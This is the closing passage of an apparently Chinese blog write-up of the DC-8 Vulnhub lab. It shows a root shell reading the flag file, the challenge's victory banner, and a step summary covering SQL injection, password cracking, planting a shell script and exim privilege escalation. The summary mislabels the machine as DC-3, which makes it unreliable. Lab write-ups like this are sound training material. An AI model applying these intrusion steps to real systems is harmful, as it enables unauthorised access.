root@dc-8:/var/spool/exim4#

显示已获得root权限。

3.3.4.7 查看flag

这里查看flag，需要快速操作，否则一会儿，就失去root权限了。

cat /root/flag.txt
cat /root/flag.txt
localhost [127.0.0.1] 31337 (?) open








Brilliant - you have succeeded!!!



888       888          888 888      8888888b.                             888 888 888 888
888   o   888          888 888      888  "Y88b                            888 888 888 888
888  d8b  888          888 888      888    888                            888 888 888 888
888 d888b 888  .d88b.  888 888      888    888  .d88b.  88888b.   .d88b.  888 888 888 888
888d88888b888 d8P  Y8b 888 888      888    888 d88""88b 888 "88b d8P  Y8b 888 888 888 888
88888P Y88888 88888888 888 888      888    888 888  888 888  888 88888888 Y8P Y8P Y8P Y8P
8888P   Y8888 Y8b.     888 888      888  .d88P Y88..88P 888  888 Y8b.      "   "   "   "
888P     Y888  "Y8888  888 888      8888888P"   "Y88P"  888  888  "Y8888  888 888 888 888



Hope you enjoyed DC-8.  Just wanted to send a big thanks out there to all those
who have provided feedback, and all those who have taken the time to complete these little
challenges.

I'm also sending out an especially big thanks to:

@4nqr34z
@D4mianWayne
@0xmzfr
@theart42

This challenge was largely based on two things:

1. A Tweet that I came across from someone asking about 2FA on a Linux box, and whether it was worthwhile.
2. A suggestion from @theart42

The answer to that question is...

If you enjoyed this CTF, send me a tweet via @DCAU7.

渗透总结

在DC-3靶场渗透测试中，使用了nmap、whatweb、john、SQLmap等工具进行渗透测试，使用nmap进行主机发现和端口扫描测试，使用dirbsearch扫描目录，使用whatweb信息网页信息搜集取到了关键信息，使用sqlmap进行数据库信息获取，最后使用exim进行了linux系统提权，并获得所有的flag,思路如下：

  • 使用nmap进行主机发现和端口扫描
  • 使用dirbsearch目录扫描
  • 使用sqlmp进行sql注入获得用户信息
  • 使用john进行密码爆破
  • 登录管理页面编写shell脚本
  • linux内核提权，并获得flag

参考文章

（时光煮雨）
关注
  • 32
    点赞
  • 踩
  • 27
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
专栏目录
vuInhub靶场实战系列-DC-5实战
weixin_45221204的博客
05-26 1204
Vulnhub是一个提供各种漏洞环境的靶场平台，大部分环境是做好的虚拟机镜像文件，镜像预先设计了多种漏洞。本文将介绍dc-5靶机渗透测试，内容包括 nmap扫描、dirsearch目录扫描、文件包含、Burp Suite密码爆破、netcat反弹shell、rpcbind漏洞利用、GNU Screen漏洞利用、sudo提权等内容。
vuInhub靶场实战系列-DC-9实战
weixin_45221204的博客
06-02 931
Vulnhub是一个提供各种漏洞环境的靶场平台，大部分环境是做好的虚拟机镜像文件，镜像预先设计了多种漏洞。本文将介绍dc-9靶机渗透测试，内容包括nmap扫描、目录扫描(nikto\dirsearch\dirb)、SQ注入、wfuzz爆破、LFI文件包含、SSH爆破(knockd\nmap\netcat\Hydra)、linux内核提权(openssl)并获得flag等内容。
vuInhub靶场实战系列-DC-7实战
weixin_45221204的博客
05-30 813
Vulnhub是一个提供各种漏洞环境的靶场平台，大部分环境是做好的虚拟机镜像文件，镜像预先设计了多种漏洞。本文将介绍dc-7靶机渗透测试，内容包括nmap扫描、drush密码修改、netcat使用监听任务、反弹shell，定时任务执行backups.sh获得root权限等内容，最终获得flag。使用nmap进行主机发现和端口扫描使用dirbsearch目录扫描尝试登录ssh使用drush修改admin用户的密码登录管理页面安装php模块，编写一句话木马实现反弹shell,获得root权限，最终获得flag。
vuInhub靶场实战系列-DC-6实战
weixin_45221204的博客
05-29 873
Vulnhub是一个提供各种漏洞环境的靶场平台，大部分环境是做好的虚拟机镜像文件，镜像预先设计了多种漏洞。本文将介绍dc-6靶机渗透测试，内容包括nmap扫描，arp-scan扫描、whatweb及Wappalyzer网站指纹识别、dirb目录扫描或者dirsearch目录扫描、wpscan爆破wordpress用户名、生成密码字典、wpscan爆破登录页,xhydra爆破网页,最终使用nmap提取获得root权限，linux内核提权等内容。使用nmap进行主机发现和端口扫描。
vuInhub靶场实战系列-DC-4实战
weixin_45221204的博客
05-22 882
Vulnhub是一个提供各种漏洞环境的靶场平台，大部分环境是做好的虚拟机镜像文件，镜像预先设计了多种漏洞。本文将介绍dc-4靶机渗透测试，内容包括 nmap扫描、dirsearch、hydra密码爆破、Burp Suite密码爆破、netcat反弹shell、teehee提权等内容。
vuInhub靶场实战系列--bulldog-1
weixin_45221204的博客
06-03 1161
Vulnhub是一个提供各种漏洞环境的靶场平台，大部分环境是做好的虚拟机镜像文件，镜像预先设计了多种漏洞。本文介绍bulldog-1靶机渗透测试，内容包括主机扫描（nmap\netdiscover）、端口扫描（nmap\masscan）、目录扫描（dirb\dirsearch）MD5在线解码、netcat、反弹shell、linux内核提权等内容。😃使用nmap进行主机发现和端口扫描使用dirbsearch进行目录扫描MD5解密netcat监听反弹shell。
vuInhub靶场实战系列--prime:1
weixin_45221204的博客
06-05 1236
Vulnhub是一个提供各种漏洞环境的靶场平台，大部分环境是做好的虚拟机镜像文件，镜像预先设计了多种漏洞。本文介绍prime:1靶机渗透测试，内容包括主机扫描（nmap\netdiscover）、端口扫描（nmap\masscan）、目录扫描（dirb\dirsearch）、wpscan、msf、netcat、反弹shell、linux内核提权等内容。使用nmap进行主机发现和端口扫描使用dirbsearch进行目录扫描网页分析，进行wfuzz爆破参数和值netcat监听。
vuInhub靶场实战系列--Kioptrix Level #2
weixin_45221204的博客
06-09 741
Vulnhub是一个提供各种漏洞环境的靶场平台，大部分环境是做好的虚拟机镜像文件，镜像预先设计了多种漏洞。本文介绍Kioptrix Level #2靶机渗透测试，内容包括主机扫描（nmap\netdiscover）、端口扫描（nmap\masscan）、目录扫描（dirb\dirsearch）、netcat、反弹shell、脚本利用、linux内核提权等内容。p=49Checksum主机发现目录扫描端口扫描netcat监听反弹shelllinux内核提权。
vuInhub靶场实战系列--Kioptrix Level #1
weixin_45221204的博客
06-08 1163
Vulnhub是一个提供各种漏洞环境的靶场平台，大部分环境是做好的虚拟机镜像文件，镜像预先设计了多种漏洞。本文将进行Kioptrix Level #1靶机渗透测试，内容包括主机扫描、目录扫描、漏洞发现、linux内核提权等内容。主机发现端口扫描目录扫描漏洞发现payload利用linux内核提权。
vuInhub靶场实战系列-prime:2
06-08
vuInhub靶场实战系列-prime:2
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8301
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
嵌入式linux系统中面试过程经验分享
最新发布
嵌入式技术开发
06-27 467
大家好，今天主要给分享一下，如何在面试中介绍自己的项目经验，希望对大家有所帮助。在面试时，经过寒暄后，一般面试官会让介绍项目经验。常见的问法是，说下你最近的(或最拿得出手的)一个项目。根据我们的面试经验，发现有不少候选人对此没准备，说起来磕磕巴巴，甚至有人说出项目经验从时间段或技术等方面和简历上的不匹配，这样就会造成如下的后果。1:第一印象就不好了，至少会感觉该候选人表述能力不强。
[职场] 线上面试的准备工作 #知识分享#经验分享#媒体
2401_82854246的博客
06-24 258
参加线上面试一定要找一个安静的环境。有一次线上面试，一位同学找了食堂的一个角落进行。面试交流过程中，打扫卫生的保洁员来了，他们拖动桌椅发出的一阵阵刺耳声，让面试官根本无法听清求职者的表述。虽然该同学之后更换了场地，但面试的整体流畅性被打破，最后只得草草收场。在这里，向各位分享面试前做好预案不慌张几点准备。现在许多面试是通过线上形式进行的。对于求职者来说，要做好两手准备。在这里，重点与大家分享线上面试的预案。这是线上面试顺利进行的基本保障。在面试时推荐开启摄像头，并使用耳机，保证手机或电脑的电量和流畅度。
程序人生——Java使用关于性能和效率的建议
Arya的博客，专注后端领域
03-18 2201
程序人生——Java使用关于性能和效率的建议
sqli-labs靶场练习笔记
11-09
sqli-labs靶场练习笔记，里面有2关 3关 4关 5关 4关 7关 8关 9关 11关 12关 13关 14关 15关 16关 17关 18关 19关 20关 21关 22关 23关 24关 的练习内容，可以供给初学sql注入的学者参考

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

（时光煮雨）

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值